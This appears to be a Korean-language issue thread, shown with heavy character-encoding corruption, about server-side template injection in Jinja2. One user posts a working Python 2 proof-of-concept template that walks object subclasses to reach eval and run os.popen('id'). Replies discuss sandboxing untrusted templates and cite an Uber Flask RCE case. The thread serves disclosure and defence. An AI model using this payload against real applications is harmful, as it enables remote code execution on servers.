λ΄ νλ‘μ νΈμμ Jinja2 ν
νλ¦Ώ νλ μμν¬λ₯Ό μ¬μ©ν λ μ μ λ μ§μ€ν° μμ΄ "os.popen('id')" λλ λ€λ₯Έ ν¨μλ₯Ό νΈμΆνλ λ°©λ²μ μ°Ύμμ΅λλ€.
곡격μκ° ν
νλ¦Ώ μ½ν
μΈ λ₯Ό μ μ΄ν μ μμ λ μμ μ»κΈ° μ½μ΅λλ€. κ·Έλ° λμμΈμΈκ°μ?
PoC:
from jinja2 import Template
content = '''
{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %} {% endif %} {% endfor %}
{% endif %} {% endfor %}
'''
print Template(content).render()
python2(2.7.10) λ° Jinja2(2.8)λ‘ μ΄ μ½λλ₯Ό ν μ€νΈν©λλ€. μλνλ©΄ μ¬μ©μμ uidκ° μΈμλ©λλ€...
μλλ°μ€κ° μ μ©λμ§ μμ νκ²½μμλ μ λ’°ν μ μλ ν νλ¦Ώμ μ€ννλ©΄ μ λ©λλ€. μ΄κ²μ΄ λ°λ‘ μλλ°μ€κ° μ‘΄μ¬νλ μ΄μ μ λλ€(μμ§ν μλλ°μ€λ₯Ό μ¬μ©νλλΌλ μ¬μ©μκ° μμμ Jinja ν νλ¦Ώμ μ 곡νλλ‘ νμ©νμ§ μμ κ²μ λλ€)
κ·Έλ λ€λ©΄ μ΄λ° κ²½μ°λ₯Ό λ°©μ§νκΈ° μν λμ± μ΄ νμν κΉμ? μ¬μ©μκ° ν νλ¦Ώ μ½ν μΈ λ₯Ό νΈμ§ν μ μλ νΉμ μμ© νλ‘κ·Έλ¨μ΄ μλ€κ³ μκ°νμ§λ§ μ€μ©μ μΈ μλ μμ΅λλ€.
νλΌμ€ν¬λ Jinja2λ₯Ό μ¬μ©νλ λ€λ₯Έ μΉ νλ μμν¬μμλ νμ§ μκΈ° λλ¬Έμ κΈ°λ³Έμ μΌλ‘ μλλ°μ€λ₯Ό μ¬μ©ν νμκ° μλ€κ³ μκ°ν©λλ€.
κΈ°λ³Έμ μΌλ‘ μλλ°μ€λ₯Ό μ¬μ©νλ €λ μ΄μ λ 무μμ λκΉ? λλΆλΆμ κ²½μ° ν νλ¦Ώμ μ΄μ¨λ μ½λμ μ‘μΈμ€ν μ μλ μ λ’°ν μ μλ μ¬λμ΄ λ³κ²½ν μ μμ΅λλ€.
Uberμμ Flask/Jinja2 ν
νλ¦Ώ μ£Όμ
μ ν΅ν μ격 μ½λ μ€ν μ¬λ‘κ° μμ΅λλ€.
λ§ν¬: http://www.tuicool.com/articles/uE3YNjY
κΈ°λ³Έμ μΌλ‘ μλλ°μ±μ νμ±ννλ κ²μ μ΄μ λ²μ κ³Όμ νΈνμ±μΌλ‘ μΈν΄ λΆκ°λ₯νκ³ λλΆλΆμ ν νλ¦Ώ(Flaskμμ)μ μ λ’°ν μ μκΈ° λλ¬Έμ ν©λ¦¬μ μ΄μ§ μμ΅λλ€.
κ°μ₯ μ μ©ν λκΈ
μλλ°μ€κ° μ μ©λμ§ μμ νκ²½μμλ μ λ’°ν μ μλ ν νλ¦Ώμ μ€ννλ©΄ μ λ©λλ€. μ΄κ²μ΄ λ°λ‘ μλλ°μ€κ° μ‘΄μ¬νλ μ΄μ μ λλ€(μμ§ν μλλ°μ€λ₯Ό μ¬μ©νλλΌλ μ¬μ©μκ° μμμ Jinja ν νλ¦Ώμ μ 곡νλλ‘ νμ©νμ§ μμ κ²μ λλ€)